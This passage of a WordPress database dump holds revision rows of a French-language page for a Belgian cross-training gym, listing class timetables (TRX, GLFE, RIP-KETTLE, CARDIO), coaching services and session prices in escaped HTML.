class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:38:41', '2013-07-03 17:38:41', '', 11, 'http://www.crosstrainingcenter.be/?p=190', 0, 'revision', '', 0),
(191, 1, '2013-07-03 17:39:35', '2013-07-03 17:39:35', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 25%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:39:35', '2013-07-03 17:39:35', '', 11, 'http://www.crosstrainingcenter.be/?p=191', 0, 'revision', '', 0),
(192, 1, '2013-07-03 17:39:50', '2013-07-03 17:39:50', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 